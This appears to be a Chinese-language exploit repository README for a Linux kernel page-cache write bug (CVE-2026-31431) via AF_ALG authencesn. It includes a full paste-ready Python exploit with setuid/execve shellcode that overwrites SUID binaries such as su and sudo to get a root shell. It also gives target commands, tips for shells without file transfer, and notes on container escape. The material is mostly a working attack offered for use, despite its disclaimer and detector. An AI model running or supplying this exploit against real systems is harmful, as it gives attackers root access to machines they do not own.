CVE-2026-31431 复制失败 — 通用本地权限提升(LPE)漏洞利用。动态 ELF 偏移 + 全二进制覆盖,兼容 Python 2/3,并带有 ctypes splice 回退方案。
Linux 内核页缓存 4 字节任意写入 → 本地权限提升
多种利用方式:动态 ELF 入口点覆盖、完整二进制替换、兼容 Python 3.x 的 ctypes splice 回退方案。
CVE-2026-31431 是 Linux 内核 AF_ALG 加密子系统中的一个漏洞。通过滥用 splice() + authencesn 原地解密,非特权用户可以在内核的页缓存(所有文件映射内存所使用的同一缓存)中任意偏移处写入 4 字节。
这意味着:
本仓库提供三种基于同一 AF_ALG copy-fall 原语的工具:
| 动态入口点 | 完整二进制替换 | 漏洞检测器 | |
|---|---|---|---|
| 文件 | exploit.py | poc_compatible.py | check_cve.sh |
| 策略 | 用 shellcode 覆盖 ELF 入口点 | 从偏移 0 开始替换整个二进制 | 测试目标是否存在漏洞 |
| 目标 | 任意 x86_64 SUID 二进制 | 任意二进制(SUID 或非 SUID) | 不适用 |
| Python | 3.x(所有版本) | 2 / 3 | Bash |
| 载荷 | 36 字节 shellcode | zlib 压缩的完整 ELF | 不适用 |
| 作者 | 本作品 | h4ppy7ree | h4ppy7ree |
动态入口点 — 运行时解析 ELF 头以计算入口点文件偏移(p_offset + (e_entry - p_vaddr)),然后写入一个小的 shellcode 存根。无硬编码偏移 — 一个脚本适用于任何 x86_64 SUID 二进制,无论发行版或版本。
完整二进制替换 — 从偏移 0 开始用完整的预构建 ELF 载荷(zlib 压缩并嵌入脚本中)覆盖目标。可针对由特权进程(cron 任务、systemd 服务、kube-proxy)执行的非 SUID 二进制。支持 Python 2。
漏洞检测器 — 在运行利用前测试目标系统是否具备 AF_ALG、authencesn 和 algif_aead。
exploit.py;Python 2 通过 poc_compatible.py 支持)/usr/bin/su、/usr/bin/sudo 等)# 创建一个带非特权用户的测试容器
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
然后在容器内以 testuser 身份执行:
# 之前:setuid(0) 失败,因为真实 uid 不是 0
/usr/local/bin/verify
# uid=1000 euid=0
# (正常退出,无 root 权限)
# 运行利用
python3 exploit.py /usr/local/bin/verify
# 之后:入口点被覆盖,shellcode 获取 root 权限
# uid=0(root) gid=1000(testuser)
在真实场景中,你通常只有一个原始 shell — 没有 scp、没有 curl、没有 wget。此方法使用 cat heredoc 直接在终端中写入利用脚本:
# 选项 1:运行 shell 脚本
sh exploit-one-liner.sh /usr/local/bin/verify
# 选项 2:直接粘贴到终端(复制整个代码块)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
为什么这很重要:容器环境通常缺少文件传输工具(
scp、curl、wget)。heredoc 方法只需要cat和python3— 随处可用。
你可以将 /usr/local/bin/verify 替换为任意 SUID-root 二进制:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ 警告:针对系统 SUID 二进制(如
/usr/bin/su)会影响系统上的所有用户。该二进制在页缓存被清除前将无法使用。在宿主机上,任何运行su的用户都会获得 root shell。在共享/生产系统上,这会立即被察觉 —
su将对所有人崩溃或产生意外 shell。请使用verify.c进行安全测试。
该利用仅修改页缓存(内存),不修改磁盘。恢复选项:
# 在宿主机上(容器测试后):
echo 3 | sudo tee /proc/sys/vm/drop_caches
# 验证恢复:
xxd -l 8 /usr/bin/su
# 应显示:7f45 4c46 (.ELF)
注意:在默认(非特权)容器内,
echo 3 > /proc/sys/vm/drop_caches会因Read-only file system失败 — 这需要宿主机访问权限或销毁容器。
内核的 authencesn AEAD 算法在其原地解密路径中存在一个 bug:
authencesn(hmac(sha256), cbc(aes)) 创建一个 AF_ALG 套接字splice() 将文件数据送入加密套接字 — 这会将页缓存页直接映射到内核的 scatterlist 中authencesn 在认证标签之后写入 4 字节的 seqno_lo结果:对任意页缓存文件进行 4 字节任意写入。
┌─────────────────────────────────────────────────────┐
│ ELF 二进制 (/usr/bin/su) │
│ │
│ 0x0000: ┌──────────┐ │
│ │ ELF 头 │ e_entry = 0x4013f0 │
│ │ │ ← 动态解析 │
│ └──────────┘ │
│ ... │
│ 0x3f20: ┌──────────┐ ← 计算出的文件偏移 │
│ │ 原始代码 │ │
│ │ │ ─── copy fall 写入 ───→ │
│ │ SHELLCODE │ setuid(0) + execve("/bin/sh")│
│ └──────────┘ │
│ ... │
└─────────────────────────────────────────────────────┘
当内核加载 SUID 二进制时,它设置 euid=0,然后跳转到入口点。
入口点现在是我们的 shellcode → setuid(0) 成功 → root shell。
xor rdi, rdi ; uid = 0
xor eax, eax
mov al, 0x69 ; __NR_setuid
syscall ; setuid(0)
xor rdx, rdx
push rdx ; 空终止符
movabs rbx, "/bin/sh\0"
push rbx
mov rdi, rsp ; 文件名
xor rsi, rsi ; argv = NULL
xor eax, eax
mov al, 0x3b ; __NR_execve
syscall ; execve("/bin/sh", NULL, NULL)
36 字节,9 次 copy-fall 写入(每次 4 字节)。
默认 Docker 容器无法防御此漏洞:
| 防护机制 | 状态 |
|---|---|
| Seccomp | ✅ 默认允许 AF_ALG |
| 用户命名空间 | ❌ 默认 Docker 不使用 |
| AppArmor/SELinux | ❌ 不限制 AF_ALG |
| 能力(Capability)丢弃 | ❌ 无需特殊能力 |
唯一阻止容器逃逸的是 overlayfs 的每挂载点页缓存隔离。但一旦你在容器内获得 root,标准逃逸技术即可适用(cgroup release_agent、docker.sock、K8s serviceaccount 令牌、云元数据)。
自 algif_aead 原地转换(约 2017 年合并)以来的每个 Linux 内核,包括:
.
├── exploit.py # 动态 ELF 入口点覆盖(Python 3.x)
├── exploit-one-liner.sh # 便于粘贴的版本(无需文件传输)
├── poc_compatible.py # 从偏移 0 完整覆盖 ELF 二进制(Python 2/3,作者 h4ppy7ree)
├── poc_ctypes.py # 适用于 Python 3.0-3.9 的 ctypes splice(作者 h4ppy7ree)
├── check_cve.sh # 漏洞检测器(作者 h4ppy7ree)
├── verify/
│ └── verify.c # 用于测试的 SUID 验证程序
└── README.md # 本文件
AF_ALG 域(socket(AF_ALG, ...) → errno)af_alg 套接字创建CONFIG_CRYPTO_USER_API_AEAD=nsocket(AF_ALG=38, SOCK_SEQPACKET=5, 0) 系统调用本利用程序仅供授权的安全研究和教育目的使用。未经授权访问计算机系统是违法的。作者不承担任何责任,也不对因使用本程序造成的任何滥用或损害负责。
MIT
| 方法 | 位置 | 命令 |
|---|
| 清除页缓存 | 宿主机(root) | echo 3 > /proc/sys/vm/drop_caches |
| 重启 | 任意位置 | reboot — 页缓存是易失的 |
| 销毁容器 | 任意位置 | docker rm — 页缓存随容器释放 |
| 向量 | 可行? | 详情 |
|---|
| 本地提权(本地用户 → root) | ✅ 是 | 覆盖 SUID 二进制入口点 |
| 容器逃逸(默认) | ❌ 否 | overlayfs 每挂载点页缓存隔离 |
| 容器逃逸(宿主机写入) | ✅ 是 | 从宿主机通过 /proc/PID/root/ 写入 |
| 跨容器(宿主机写入) | ✅ 是 | 相同 inode → 共享下层页缓存 |